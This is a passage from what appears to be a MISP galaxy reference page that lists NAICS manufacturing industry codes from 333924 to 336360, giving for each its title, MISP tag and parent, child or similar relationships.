The tag is: *misp-galaxy:naics="333924"*

View relationships graph

333924 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

33399

All Other General Purpose Machinery Manufacturing

The tag is: *misp-galaxy:naics="33399"*

View relationships graph

33399 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333991

Power-Driven Handtool Manufacturing

The tag is: *misp-galaxy:naics="333991"*

View relationships graph

333991 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333992

Welding and Soldering Equipment Manufacturing

The tag is: *misp-galaxy:naics="333992"*

View relationships graph

333992 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333993

Packaging Machinery Manufacturing

The tag is: *misp-galaxy:naics="333993"*

View relationships graph

333993 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333994

Industrial Process Furnace and Oven Manufacturing

The tag is: *misp-galaxy:naics="333994"*

View relationships graph

333994 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333995

Fluid Power Cylinder and Actuator Manufacturing

The tag is: *misp-galaxy:naics="333995"*

View relationships graph

333995 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333996

Fluid Power Pump and Motor Manufacturing

The tag is: *misp-galaxy:naics="333996"*

View relationships graph

333996 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

333998

All Other Miscellaneous General Purpose Machinery Manufacturing

The tag is: *misp-galaxy:naics="333998"*

View relationships graph

333998 has relationships with:

- child-of: misp-galaxy:naics="3339" with estimative-language:likelihood-probability="likely"

334

Computer and Electronic Product Manufacturing

The tag is: *misp-galaxy:naics="334"*

View relationships graph

334 has relationships with:

- parent-of: misp-galaxy:naics="3341" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3343" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3346" with estimative-language:likelihood-probability="likely"

3341

Computer and Peripheral Equipment Manufacturing

The tag is: *misp-galaxy:naics="3341"*

View relationships graph

3341 has relationships with:

- child-of: misp-galaxy:naics="334" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334118" with estimative-language:likelihood-probability="likely"

33411

Computer and Peripheral Equipment Manufacturing

The tag is: *misp-galaxy:naics="33411"*

View relationships graph

33411 has relationships with:

- child-of: misp-galaxy:naics="3341" with estimative-language:likelihood-probability="likely"

334111

Electronic Computer Manufacturing

The tag is: *misp-galaxy:naics="334111"*

View relationships graph

334111 has relationships with:

- child-of: misp-galaxy:naics="3341" with estimative-language:likelihood-probability="likely"

334112

Computer Storage Device Manufacturing

The tag is: *misp-galaxy:naics="334112"*

View relationships graph

334112 has relationships with:

- child-of: misp-galaxy:naics="3341" with estimative-language:likelihood-probability="likely"

334118

Computer Terminal and Other Computer Peripheral Equipment Manufacturing

The tag is: *misp-galaxy:naics="334118"*

View relationships graph

334118 has relationships with:

- child-of: misp-galaxy:naics="3341" with estimative-language:likelihood-probability="likely"

3342

Communications Equipment Manufacturing

The tag is: *misp-galaxy:naics="3342"*

View relationships graph

3342 has relationships with:

- child-of: misp-galaxy:naics="334" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33429" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334290" with estimative-language:likelihood-probability="likely"

33421

Telephone Apparatus Manufacturing

The tag is: *misp-galaxy:naics="33421"*

View relationships graph

33421 has relationships with:

- child-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="334210" with estimative-language:likelihood-probability="likely"

334210

Telephone Apparatus Manufacturing

The tag is: *misp-galaxy:naics="334210"*

View relationships graph

334210 has relationships with:

- child-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33421" with estimative-language:likelihood-probability="likely"

33422

Radio and Television Broadcasting and Wireless Communications Equipment Manufacturing

The tag is: *misp-galaxy:naics="33422"*

View relationships graph

33422 has relationships with:

- child-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="334220" with estimative-language:likelihood-probability="likely"

334220

Radio and Television Broadcasting and Wireless Communications Equipment Manufacturing

The tag is: *misp-galaxy:naics="334220"*

View relationships graph

334220 has relationships with:

- child-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33422" with estimative-language:likelihood-probability="likely"

33429

Other Communications Equipment Manufacturing

The tag is: *misp-galaxy:naics="33429"*

View relationships graph

33429 has relationships with:

- child-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="334290" with estimative-language:likelihood-probability="likely"

334290

Other Communications Equipment Manufacturing

The tag is: *misp-galaxy:naics="334290"*

View relationships graph

334290 has relationships with:

- child-of: misp-galaxy:naics="3342" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33429" with estimative-language:likelihood-probability="likely"

3343

Audio and Video Equipment Manufacturing

The tag is: *misp-galaxy:naics="3343"*

View relationships graph

3343 has relationships with:

- child-of: misp-galaxy:naics="334" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33431" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334310" with estimative-language:likelihood-probability="likely"

33431

Audio and Video Equipment Manufacturing

The tag is: *misp-galaxy:naics="33431"*

View relationships graph

33431 has relationships with:

- child-of: misp-galaxy:naics="3343" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="334310" with estimative-language:likelihood-probability="likely"

334310

Audio and Video Equipment Manufacturing

The tag is: *misp-galaxy:naics="334310"*

View relationships graph

334310 has relationships with:

- child-of: misp-galaxy:naics="3343" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33431" with estimative-language:likelihood-probability="likely"

3344

Semiconductor and Other Electronic Component Manufacturing

The tag is: *misp-galaxy:naics="3344"*

View relationships graph

3344 has relationships with:

- child-of: misp-galaxy:naics="334" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334413" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334416" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334417" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334418" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334419" with estimative-language:likelihood-probability="likely"

33441

Semiconductor and Other Electronic Component Manufacturing

The tag is: *misp-galaxy:naics="33441"*

View relationships graph

33441 has relationships with:

- child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334412

Bare Printed Circuit Board Manufacturing

The tag is: *misp-galaxy:naics="334412"*

View relationships graph

334412 has relationships with:

- child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334413

Semiconductor and Related Device Manufacturing

The tag is: *misp-galaxy:naics="334413"*

View relationships graph

334413 has relationships with:

- child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334416

Capacitor, Resistor, Coil, Transformer, and Other Inductor Manufacturing

The tag is: *misp-galaxy:naics="334416"*

View relationships graph

334416 has relationships with:

- child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334417

Electronic Connector Manufacturing

The tag is: *misp-galaxy:naics="334417"*

View relationships graph

334417 has relationships with:

- child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334418

Printed Circuit Assembly (Electronic Assembly) Manufacturing

The tag is: *misp-galaxy:naics="334418"*

View relationships graph

334418 has relationships with:

- child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

334419

Other Electronic Component Manufacturing

The tag is: *misp-galaxy:naics="334419"*

View relationships graph

334419 has relationships with:

- child-of: misp-galaxy:naics="3344" with estimative-language:likelihood-probability="likely"

3345

Navigational, Measuring, Electromedical, and Control Instruments Manufacturing

The tag is: *misp-galaxy:naics="3345"*

View relationships graph

3345 has relationships with:

- child-of: misp-galaxy:naics="334" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33451" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334514" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334515" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334516" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334517" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334519" with estimative-language:likelihood-probability="likely"

33451

Navigational, Measuring, Electromedical, and Control Instruments Manufacturing

The tag is: *misp-galaxy:naics="33451"*

View relationships graph

33451 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="334510" with estimative-language:likelihood-probability="likely"

334510

Electromedical and Electrotherapeutic Apparatus Manufacturing

The tag is: *misp-galaxy:naics="334510"*

View relationships graph

334510 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33451" with estimative-language:likelihood-probability="likely"

334511

Search, Detection, Navigation, Guidance, Aeronautical, and Nautical System and Instrument Manufacturing

The tag is: *misp-galaxy:naics="334511"*

View relationships graph

334511 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334512

Automatic Environmental Control Manufacturing for Residential, Commercial, and Appliance Use

The tag is: *misp-galaxy:naics="334512"*

View relationships graph

334512 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334513

Instruments and Related Products Manufacturing for Measuring, Displaying, and Controlling Industrial Process Variables

The tag is: *misp-galaxy:naics="334513"*

View relationships graph

334513 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334514

Totalizing Fluid Meter and Counting Device Manufacturing

The tag is: *misp-galaxy:naics="334514"*

View relationships graph

334514 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334515

Instrument Manufacturing for Measuring and Testing Electricity and Electrical Signals

The tag is: *misp-galaxy:naics="334515"*

View relationships graph

334515 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334516

Analytical Laboratory Instrument Manufacturing

The tag is: *misp-galaxy:naics="334516"*

View relationships graph

334516 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334517

Irradiation Apparatus Manufacturing

The tag is: *misp-galaxy:naics="334517"*

View relationships graph

334517 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

334519

Other Measuring and Controlling Device Manufacturing

The tag is: *misp-galaxy:naics="334519"*

View relationships graph

334519 has relationships with:

- child-of: misp-galaxy:naics="3345" with estimative-language:likelihood-probability="likely"

3346

Manufacturing and Reproducing Magnetic and Optical Media

The tag is: *misp-galaxy:naics="3346"*

View relationships graph

3346 has relationships with:

- child-of: misp-galaxy:naics="334" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33461" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="334610" with estimative-language:likelihood-probability="likely"

33461

Manufacturing and Reproducing Magnetic and Optical Media

The tag is: *misp-galaxy:naics="33461"*

View relationships graph

33461 has relationships with:

- child-of: misp-galaxy:naics="3346" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="334610" with estimative-language:likelihood-probability="likely"

334610

Manufacturing and Reproducing Magnetic and Optical Media

The tag is: *misp-galaxy:naics="334610"*

View relationships graph

334610 has relationships with:

- child-of: misp-galaxy:naics="3346" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33461" with estimative-language:likelihood-probability="likely"

335

Electrical Equipment, Appliance, and Component Manufacturing

The tag is: *misp-galaxy:naics="335"*

View relationships graph

335 has relationships with:

- parent-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3352" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

3351

Electric Lighting Equipment Manufacturing

The tag is: *misp-galaxy:naics="3351"*

View relationships graph

3351 has relationships with:

- child-of: misp-galaxy:naics="335" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335139" with estimative-language:likelihood-probability="likely"

33513

Electric Lighting Equipment Manufacturing

The tag is: *misp-galaxy:naics="33513"*

View relationships graph

33513 has relationships with:

- child-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"

335131

Residential Electric Lighting Fixture Manufacturing

The tag is: *misp-galaxy:naics="335131"*

View relationships graph

335131 has relationships with:

- child-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"

335132

Commercial, Industrial, and Institutional Electric Lighting Fixture Manufacturing

The tag is: *misp-galaxy:naics="335132"*

View relationships graph

335132 has relationships with:

- child-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"

335139

Electric Lamp Bulb and Other Lighting Equipment Manufacturing

The tag is: *misp-galaxy:naics="335139"*

View relationships graph

335139 has relationships with:

- child-of: misp-galaxy:naics="3351" with estimative-language:likelihood-probability="likely"

3352

Household Appliance Manufacturing

The tag is: *misp-galaxy:naics="3352"*

View relationships graph

3352 has relationships with:

- child-of: misp-galaxy:naics="335" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335220" with estimative-language:likelihood-probability="likely"

33521

Small Electrical Appliance Manufacturing

The tag is: *misp-galaxy:naics="33521"*

View relationships graph

33521 has relationships with:

- child-of: misp-galaxy:naics="3352" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="335210" with estimative-language:likelihood-probability="likely"

335210

Small Electrical Appliance Manufacturing

The tag is: *misp-galaxy:naics="335210"*

View relationships graph

335210 has relationships with:

- child-of: misp-galaxy:naics="3352" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33521" with estimative-language:likelihood-probability="likely"

33522

Major Household Appliance Manufacturing

The tag is: *misp-galaxy:naics="33522"*

View relationships graph

33522 has relationships with:

- child-of: misp-galaxy:naics="3352" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="335220" with estimative-language:likelihood-probability="likely"

335220

Major Household Appliance Manufacturing

The tag is: *misp-galaxy:naics="335220"*

View relationships graph

335220 has relationships with:

- child-of: misp-galaxy:naics="3352" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33522" with estimative-language:likelihood-probability="likely"

3353

Electrical Equipment Manufacturing

The tag is: *misp-galaxy:naics="3353"*

View relationships graph

3353 has relationships with:

- child-of: misp-galaxy:naics="335" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335314" with estimative-language:likelihood-probability="likely"

33531

Electrical Equipment Manufacturing

The tag is: *misp-galaxy:naics="33531"*

View relationships graph

33531 has relationships with:

- child-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"

335311

Power, Distribution, and Specialty Transformer Manufacturing

The tag is: *misp-galaxy:naics="335311"*

View relationships graph

335311 has relationships with:

- child-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"

335312

Motor and Generator Manufacturing

The tag is: *misp-galaxy:naics="335312"*

View relationships graph

335312 has relationships with:

- child-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"

335313

Switchgear and Switchboard Apparatus Manufacturing

The tag is: *misp-galaxy:naics="335313"*

View relationships graph

335313 has relationships with:

- child-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"

335314

Relay and Industrial Control Manufacturing

The tag is: *misp-galaxy:naics="335314"*

View relationships graph

335314 has relationships with:

- child-of: misp-galaxy:naics="3353" with estimative-language:likelihood-probability="likely"

3359

Other Electrical Equipment and Component Manufacturing

The tag is: *misp-galaxy:naics="3359"*

View relationships graph

3359 has relationships with:

- child-of: misp-galaxy:naics="335" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33591" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33592" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335921" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335929" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33593" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335931" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335932" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33599" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="335999" with estimative-language:likelihood-probability="likely"

33591

Battery Manufacturing

The tag is: *misp-galaxy:naics="33591"*

View relationships graph

33591 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="335910" with estimative-language:likelihood-probability="likely"

335910

Battery Manufacturing

The tag is: *misp-galaxy:naics="335910"*

View relationships graph

335910 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33591" with estimative-language:likelihood-probability="likely"

33592

Communication and Energy Wire and Cable Manufacturing

The tag is: *misp-galaxy:naics="33592"*

View relationships graph

33592 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

335921

Fiber Optic Cable Manufacturing

The tag is: *misp-galaxy:naics="335921"*

View relationships graph

335921 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

335929

Other Communication and Energy Wire Manufacturing

The tag is: *misp-galaxy:naics="335929"*

View relationships graph

335929 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

33593

Wiring Device Manufacturing

The tag is: *misp-galaxy:naics="33593"*

View relationships graph

33593 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

335931

Current-Carrying Wiring Device Manufacturing

The tag is: *misp-galaxy:naics="335931"*

View relationships graph

335931 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

335932

Noncurrent-Carrying Wiring Device Manufacturing

The tag is: *misp-galaxy:naics="335932"*

View relationships graph

335932 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

33599

All Other Electrical Equipment and Component Manufacturing

The tag is: *misp-galaxy:naics="33599"*

View relationships graph

33599 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

335991

Carbon and Graphite Product Manufacturing

The tag is: *misp-galaxy:naics="335991"*

View relationships graph

335991 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

335999

All Other Miscellaneous Electrical Equipment and Component Manufacturing

The tag is: *misp-galaxy:naics="335999"*

View relationships graph

335999 has relationships with:

- child-of: misp-galaxy:naics="3359" with estimative-language:likelihood-probability="likely"

336

Transportation Equipment Manufacturing

The tag is: *misp-galaxy:naics="336"*

View relationships graph

336 has relationships with:

- parent-of: misp-galaxy:naics="3361" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3362" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3364" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3365" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3366" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3369" with estimative-language:likelihood-probability="likely"

3361

Motor Vehicle Manufacturing

The tag is: *misp-galaxy:naics="3361"*

View relationships graph

3361 has relationships with:

- child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336120" with estimative-language:likelihood-probability="likely"

33611

Automobile and Light Duty Motor Vehicle Manufacturing

The tag is: *misp-galaxy:naics="33611"*

View relationships graph

33611 has relationships with:

- child-of: misp-galaxy:naics="3361" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336110" with estimative-language:likelihood-probability="likely"

336110

Automobile and Light Duty Motor Vehicle Manufacturing

The tag is: *misp-galaxy:naics="336110"*

View relationships graph

336110 has relationships with:

- child-of: misp-galaxy:naics="3361" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33611" with estimative-language:likelihood-probability="likely"

33612

Heavy Duty Truck Manufacturing

The tag is: *misp-galaxy:naics="33612"*

View relationships graph

33612 has relationships with:

- child-of: misp-galaxy:naics="3361" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336120" with estimative-language:likelihood-probability="likely"

336120

Heavy Duty Truck Manufacturing

The tag is: *misp-galaxy:naics="336120"*

View relationships graph

336120 has relationships with:

- child-of: misp-galaxy:naics="3361" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33612" with estimative-language:likelihood-probability="likely"

3362

Motor Vehicle Body and Trailer Manufacturing

The tag is: *misp-galaxy:naics="3362"*

View relationships graph

3362 has relationships with:

- child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336214" with estimative-language:likelihood-probability="likely"

33621

Motor Vehicle Body and Trailer Manufacturing

The tag is: *misp-galaxy:naics="33621"*

View relationships graph

33621 has relationships with:

- child-of: misp-galaxy:naics="3362" with estimative-language:likelihood-probability="likely"

336211

Motor Vehicle Body Manufacturing

The tag is: *misp-galaxy:naics="336211"*

View relationships graph

336211 has relationships with:

- child-of: misp-galaxy:naics="3362" with estimative-language:likelihood-probability="likely"

336212

Truck Trailer Manufacturing

The tag is: *misp-galaxy:naics="336212"*

View relationships graph

336212 has relationships with:

- child-of: misp-galaxy:naics="3362" with estimative-language:likelihood-probability="likely"

336213

Motor Home Manufacturing

The tag is: *misp-galaxy:naics="336213"*

View relationships graph

336213 has relationships with:

- child-of: misp-galaxy:naics="3362" with estimative-language:likelihood-probability="likely"

336214

Travel Trailer and Camper Manufacturing

The tag is: *misp-galaxy:naics="336214"*

View relationships graph

336214 has relationships with:

- child-of: misp-galaxy:naics="3362" with estimative-language:likelihood-probability="likely"

3363

Motor Vehicle Parts Manufacturing

The tag is: *misp-galaxy:naics="3363"*

View relationships graph

3363 has relationships with:

- child-of: misp-galaxy:naics="336" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33631" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33632" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33633" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="336330" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33634" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33635" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336350" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33636" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336360" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33637" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336370" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="33639" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="336390" with estimative-language:likelihood-probability="likely"

33631

Motor Vehicle Gasoline Engine and Engine Parts Manufacturing

The tag is: *misp-galaxy:naics="33631"*

View relationships graph

33631 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336310" with estimative-language:likelihood-probability="likely"

336310

Motor Vehicle Gasoline Engine and Engine Parts Manufacturing

The tag is: *misp-galaxy:naics="336310"*

View relationships graph

336310 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33631" with estimative-language:likelihood-probability="likely"

33632

Motor Vehicle Electrical and Electronic Equipment Manufacturing

The tag is: *misp-galaxy:naics="33632"*

View relationships graph

33632 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336320" with estimative-language:likelihood-probability="likely"

336320

Motor Vehicle Electrical and Electronic Equipment Manufacturing

The tag is: *misp-galaxy:naics="336320"*

View relationships graph

336320 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33632" with estimative-language:likelihood-probability="likely"

33633

Motor Vehicle Steering and Suspension Components (except Spring) Manufacturing

The tag is: *misp-galaxy:naics="33633"*

View relationships graph

33633 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336330" with estimative-language:likelihood-probability="likely"

336330

Motor Vehicle Steering and Suspension Components (except Spring) Manufacturing

The tag is: *misp-galaxy:naics="336330"*

View relationships graph

336330 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33633" with estimative-language:likelihood-probability="likely"

33634

Motor Vehicle Brake System Manufacturing

The tag is: *misp-galaxy:naics="33634"*

View relationships graph

33634 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336340" with estimative-language:likelihood-probability="likely"

336340

Motor Vehicle Brake System Manufacturing

The tag is: *misp-galaxy:naics="336340"*

View relationships graph

336340 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33634" with estimative-language:likelihood-probability="likely"

33635

Motor Vehicle Transmission and Power Train Parts Manufacturing

The tag is: *misp-galaxy:naics="33635"*

View relationships graph

33635 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336350" with estimative-language:likelihood-probability="likely"

336350

Motor Vehicle Transmission and Power Train Parts Manufacturing

The tag is: *misp-galaxy:naics="336350"*

View relationships graph

336350 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="33635" with estimative-language:likelihood-probability="likely"

33636

Motor Vehicle Seating and Interior Trim Manufacturing

The tag is: *misp-galaxy:naics="33636"*

View relationships graph

33636 has relationships with:

- child-of: misp-galaxy:naics="3363" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="336360" with estimative-language:likelihood-probability="likely"

336360

